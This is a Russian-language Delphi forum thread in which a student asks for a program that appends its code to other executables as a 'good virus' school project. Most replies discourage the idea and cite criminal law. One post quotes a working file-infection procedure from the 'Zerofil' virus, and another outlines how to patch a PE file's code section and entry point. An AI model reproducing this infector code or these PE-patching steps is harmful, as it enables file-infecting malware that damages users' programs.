![]() |
|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
![]() |
|
Опции темы | Поиск в этой теме | Опции просмотра |
|
#1
|
|||
|
|||
![]() Обратился к Вам с надеждой....
Делаю проект по информатике и возник такой вопрос... Вот на пример у меня есть программа project1.exe, она лежит в каталоге С:\project и при каждом запуске этой программы в том же каталоге создается файл log.txt))) В него добавляется строчка "Программа работала (например)", с этим я справился но мне надо сделать так чтоб при запуске project1.exe код этой программы ( project1.exe) добавлялся к коду других приложений в этой папке ( project2.exe, project3.exe , project4.exe) , а именно чтоб они теперь тоже создавали свой отчет (после запуска project1.exe) в log.txt... Внимание!! Данная программа будет очень похожа на вирус, но честно я не буду использовать ее в плохих целях, это мой проект по информатике (с игрой у меня не получилось я решил сделать это))) Прошу отнеситесь с пониманием))) Дайте пжл простейший исходничек... P.s Программы project2.exe, project3.exe , project4.exe после повторного запуска свой код к другим программам должны не добавлять.... Это не вирус... Спасибо... |
#2
|
|||
|
|||
![]() в обработке создания формы project2(3,4) пытаешься найти окно poject1, если удачно - добавляешь строку в log.
Код Project1: (Свойсво Caption формы измени на Project1) Код:
procedure TForm1.FormCreate(Sender: TObject); var logFile:TextFile; begin AssignFile(logfile,'log.txt'); if not(FileExists('log.txt')) then ReWrite(logfile) else Append(logfile); writeln(logFile,'Project1 запущен. ',TimeToStr(Time)); CloseFile(logFile); end; Код Project2: Код:
procedure TForm1.FormCreate(Sender: TObject); var logFile:TextFile; begin if FindWindow(nil,'Project1')<>0 then begin AssignFile(logfile,'log.txt'); if not(FileExists('log.txt')) then ReWrite(logfile) else Append(logfile); writeln(logFile,'Project2 запущен. ',TimeToStr(Time)); CloseFile(logFile); end; end; Последний раз редактировалось kerneldos, 08.05.2011 в 21:01. |
#3
|
|||
|
|||
![]() Цитата:
![]() Судя по описанию - именно вирус. Хотим затмить разрабов Sality? А если серьёзно - то это маловероятно что получится - за изменение чужих экзешников нужно браться когда хоть что-то умеешь, когда PE для тебя не просто буквы латинского алфавита. Замечу, что игру было бы проще сделать, чем это. Так же несовсем понятно назначение такого приложения, если предположить его невреденосную суть. Цитата:
После всех этих действий, любой антивирь, если конечно его у его разрабов руки и голова растут из правильного места прибьёт твою программу сразу же, а некоторые попродвинутей, вроде Каспера Веба или Симантика, так и запустится не дадут Лучше напиши что-нибудь более приемлемое - блокнот, браузер или тестилку... |
#4
|
||||
|
||||
![]() Не проще сделать прогу которая будет "сидеть" в памяти и следить за всеми процесами в системе. При запуске или завершении какойто ехешки записывать в текстовик: прога такаято - запустилась в хх:хх и т.д. Это проще чем дописыватся к др. прогам.
If end Then begin; |
#5
|
||||
|
||||
![]() Делаем прогу. В ней есть список названий программ. (Project1.exe, Project2.exe, ... , ProjectN.exe). В цикле делаем EnumProcesses, получаем название EXE файла, сравниваем со списком и пишем его в лог если надо.
jmp $ ; Happy End! The Cake Is A Lie. |
#6
|
||||
|
||||
![]() Цитата:
4D3 36C 346 676 6B3 62B 346 737 2B6 A34 356 649 673 765 586 936 504 47A 385 345 3D — Как тебя понимать? — Понимать меня не обязательно. Обязательно меня любить и кормить вовремя. На Delphi, увы, больше не программирую. Рекомендуемая литература по программированию |
#7
|
|||
|
|||
![]() Спасибо всем большое, кстати мой проект называется 'Вирус - это программа, а значит она может быть хорошей...' Насчет моей идеи задумался, вроде и тема интересная, но в тоже время сложная))) Решил взять с исходника нашего старого друга вируса "Zerofil" процедуру заражения а именно (прошу не копировать и не компилировать):
Код:
procedure infect(victim:string); var a:integer; Buf: array[1..virsize] of byte; //массив от 1 до веса вируса nr,nw:longint; //переменная типа Целое число, размер которого 32 бита begin try // отключаем ошибки randomize; // Устанавливает генератор случайного числа на следующее значение assignfile(f1,victim); // Открываем файл F1 на перезапись, в данном случае вроде .exe a:=random(200); // енерирует случайное целое число или число с плавающей запятой от 0 до 200 rename(f1,'bad'+inttostr(a)) ; // Переименовка файла на момент заражения с таким форматом bad+число от 0 до 200 filemode :=0; // Определяет, как Reset будет открывать двоичный файл для перезаписи assignfile(f2,paramstr(0)); // Открываем файл F2 на перезапись (Возвращается один из параметров используемых для запуска текущей программы ) reset(f2,1) ; // Открываем файл F2 для чтения, или двоичный файл для чтения/записи seek(f2,0); // для чтения, или двоичный файл для чтения/записи blockread(f2,buf,virsize); // Перемещает указатель в двоичном файле в новую позицию filemode:=2 ; // // Определяет, как Reset будет открывать двоичный файл для перезаписи closefile(f2); // Закрывает файл F2 assignfile(f1,victim); // Открываем файл F1 на перезапись, в данном случае вроде .exe rewrite(f1,1); // Открывает F1 для записи blockwrite(f1,buf,virsize); // Заражает вроде assignfile(f2,'bad'+inttostr(a)); // Открываем файл F2 со случайным именем на перезапись reset(f2,1); // Открываем файл F2 для чтения, или двоичный файл для чтения/записи seek(f2,0); // // для чтения, или двоичный файл для чтения/записи repeat //цикл BlockRead(f2, Buf,virsize, NR); // BlockWrite(f1, Buf, NR, NW); // until (NR = 0) or (NW <> NR); // closefile(f1); // closefile(f2); // deletefile(pchar('bad'+inttostr(a))) // except // end; // end; Возникла такая идея, если считывать в буфер "Buf: array[1..virsize] of byte;" не virsize вируса, а "virsize" программы project1.exe и уже этой программой "инфицировать ![]() Последний раз редактировалось lmikle, 08.05.2011 в 23:13. |
#8
|
||||
|
||||
![]() Я б инжект дэлэлки сделал бы. И файлы менять не надо и т.д.
— Как тебя понимать? — Понимать меня не обязательно. Обязательно меня любить и кормить вовремя. На Delphi, увы, больше не программирую. Рекомендуемая литература по программированию |
#9
|
|||
|
|||
![]() Цитата:
![]() |
#10
|
|||
|
|||
![]() Люди я бы сделал отслеживание программ, но тема моего проекта заключается в другом 'Вирус - это программа, а значит она может быть хорошей...', то есть мне не надо никаких перехватов, ни отслеживаний, мне нужна программа "Хороший вирус (грубо говоря)"... Суть проекта - программа (полезная), добавляет свой код к другим программам, из за этого они могут выполнять полезные функции (создавать отчет на пример и т.д.)... Я взял эту тему (кстати мне такую тему изначально препод дал), потому-что люди с негативом относятся ко всяким вирусам, червям и т.д. Я хочу показать "Человечеству
![]() ![]() P.s взялся за работу, но проблема возникла. Там нужно с памятью мудрить, чтоб записать только полезную часть.. Думаю как это сделать, можете поделиться своими предложениями. Тему подходить и менять как то неудобно, один раз уже менял, так что придется работать на этой... |
#11
|
|||
|
|||
![]() Думал я насчет процедуры добавления своего кода к другой программе и составил алгоритм. Я в этом деле новичок, так что не судите строго (может я вообще не так делаю. Вот алгоритм:
1. Ищем Project2.exe и переименовываем (меняем расширение) его в Project2.txt (для добавления к нему в дальнейшем кода программы. 2. Наш Project1.exe тоже переименовываем (меняем расширение) Project1.txt 3. Открываем Project1.txt и копируем его код (машинный) в текстовом формате. 4. Дозаписываем Project1.txt к Project2.txt. 5. Переименовываем Project1.txt и Project2.txt в Project1.exe и Project2.exe. 6. Завершаем работу с файлами. P.s это еще сырой вариант. Скажите я правильно мыслю? |
#12
|
|||
|
|||
![]() Цитата:
Нет. После таких "махинаций" ничего работать не будет. По нескольким причинам. Первая, она же самая проста - при открытии блокнотом exe файла мы никогда не получим текстовое представление его кода - в коде могут встретится символы 00h, которые блокнот проигнорирует, но без них файл не запустится. Что бы получить этот файл, его нужно считывать побайтно. Единственный способ что-то изменить в чужом файле (в данном случае я подразумеваю, что инфицируемые программы написаны другим человеком.) так, чтоб оно работало это: 1) Открыть заражаемый файл побайтно 2)Найти секцию кода и дописать в конец её свой код, попутно получив адрес точки входа и сделав переход после добавленного кода на точку входа исходного кода. 3) Если антивирус ещё не прибил программу (хотя, за такие выкрутасы просто обязан) продожаем измываться над файлом 4)В РЕ заголовке изменить размер секции кода на новый (иначе загрузчик сочтет файл некоректным) 5)В том же заголовке правим точку входа на начало вставленного кода. 6) закрываем файл. Однако, более менее защищенный файл таким макаром пропатчить не удастся - он может быть пожат, покриптован, при запуске у него может проверяться контрольная сумма, подделать которую не удастся она на то и придумана, что бы целостность файла контролировать Так что остается только одно - пойти и вернуться обратно на игру - благо исходников игр на Делфи полно - тот же Квейк. Гдеж ты учишься, что такие задания дают? MIT? Стенфорд? Цитата:
Как хорошей может быть программа, которая написана для причинения вреда? Для общего развития рекомендую ознакомится со статьями 273 и 272 УК РФ |
#13
|
|||
|
|||
![]() ChinYan, понял)))) возвращаюсь к игре...
|